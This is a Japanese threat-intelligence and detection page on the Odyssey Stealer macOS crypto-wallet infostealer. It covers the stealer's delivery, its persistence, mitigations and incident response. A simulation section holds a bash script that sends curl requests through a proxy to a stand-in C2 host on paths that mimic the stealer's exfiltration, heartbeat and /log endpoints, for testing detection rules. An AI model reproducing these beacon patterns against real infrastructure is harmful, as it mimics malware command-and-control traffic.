SOC Prime Bias: 中程度

13 Feb 2026 13:13 UTC

Odyssey Stealer: macOS暗号通貨窃盗作戦の内部

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
Odyssey Stealer: macOS暗号通貨窃盗作戦の内部
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Odyssey Stealerは仮想通貨ウォレットや拡張機能をターゲットとしたmacOSのインフォスティーラーです。これは、加盟者が集中管理されたC2と管理パネルへのアクセスを賃借するマルウェア・アズ・ア・サービスのプラットフォームとして販売されています。配信は通常、C2からコマンドをポーリングする持続的なLaunchDaemonをインストールする混乱化されたAppleScriptに依存しています。運営者は、正規のLedgerおよびTrezorアプリをトロイの木馬化したビルドで置き換えて、資格情報と取引データを捕捉することもできます。

調査

研究者たちは、ユニークなHTMLメタタグ、ページ本文のハッシュ、および共有されたfaviconハッシュを使用してC2の指紋を取得しました。彼らは、ヨーロッパとオランダを中心に、複数のASNクラスターにまたがる10の物理ホストをマッピングしました。ペイロードの解析により、マルチステージのAppleScriptドロッパー、LaunchDaemonの持続性、およびGoでコンパイルされたSOCKS5プロキシバイナリが明らかになりました。ドロッパーに埋め込まれた設定データによって、加盟者識別子とビルドIDが露呈しました。

緩和策

疑わしいosascriptの活動、特に長い難読化された文字列、ランダムなラベルを持つ未知のLaunchDaemon plistファイル、および“/log”エンドポイントへの発信POSTリクエストに注意してください。LaunchDaemonによって生成されたバイナリや不審なSOCKS5活動のアラートを出します。LedgerおよびTrezorアプリケーションのコード署名を確認し、既知のC2ドメインおよびIPアドレスをブロックします。予期しないパスワードプロンプトや“ウォレット更新”を高リスクとして取り扱うようにユーザーを訓練します。

対応策

検出時には、システムを隔離し、悪意のあるLaunchDaemonを終了し、トロイの木馬化されたウォレットアプリケーションを削除します。調査のために特定されたC2ドメインおよびIPへのネットワークトラフィックをキャプチャし、漏洩した仮想通貨の資格情報をリセットし、macOSのパスワードを回転させます。追加のアーティファクトを特定するために完全な法科学的レビューを実施します。

攻撃フロー

シミュレーション実行

前提条件: テレメトリー&ベースラインのプレフライトチェックが合格していること。

  • 攻撃の内容とコマンド:
    対戦相手は、macOSワークステーションにOdyssey Stealerをデプロイしました。ユーザーを侵害した後、マルウェアは追加のペイロードをダウンロードし、収集したデータを外部送信するためにC2サーバーにビーコンを送信します。ビーコンはネイティブの curl バイナリ(Apple署名済みバイナリ)を使用して、ルールで定義されたC2エンドポイントにHTTP GETリクエストを発行します。攻撃者は、これらの特定のURIパスを選択し、一般的なWebトラフィックと調和し、一般的なURLフィルタリングソリューションによる検出を回避します。

    手順:

    1. C2ホスト名を解決する(以下のようにシミュレート c2.odyssey.example.com).
    2. GETリクエストを発行 – ランダムなアフィリエイトコードと数字のトークンでデータ外部送信エンドポイントを模倣します。 – mimics the data‑exfiltration endpoint with a random affiliate code and numeric token.
    3. GETリクエストを発行 /api/v1/bot/ – ボット管理のハートビートをシミュレート。
    4. オプションで、 /log 内部ロギングトラフィックをエミュレートします。このトラフィックは、マルウェアによる状態報告に使用されます。
  • 回帰テストスクリプト: 次のbashスクリプトは、検出ルールをトリガーするのに必要な正確なトラフィックを再現します。

    #!/usr/bin/env bash
    # Odyssey Stealer C2ビーコンシミュレーションの検出検証
    # 必要条件: curl, pre-flight手順で設定されたネットワークプロキシ
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # Squidプロキシアドレスに調整してください
    
    # プロキシ経由でリクエストを送信する関数
    send_request() {
        local path=$1
        echo "[*] リクエストをhttps://${C2_HOST}${path}にプロキシ${PROXY_HOST}経由で送信しています"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. データ外部送信エンドポイント(ランダムアフィリエイト + 数字)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. ボット管理ハートビート
    send_request "/api/v1/bot/"
    
    # 3. オプションのロギングエンドポイント
    send_request "/log"
    
    echo "[+] シミュレーション完了。SIEMでアラートを確認してください。"

    スクリプトを odyssey_beacon.shとして保存し、実行可能にします(chmod +x odyssey_beacon.sh)、macOSテストホストで実行します。

  • クリーンアップコマンド: 一時ファイルを削除し、テストユーザーのプロキシをオプションで無効にします。

    # Wi‑Fiインターフェースのプロキシ設定を無効にする
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (オプション)このテストのために単独で開始された場合、Squidを停止
    # brew services stop squid
    echo "プロキシ設定を復元し、適用可能な場合はSquidを停止しました。"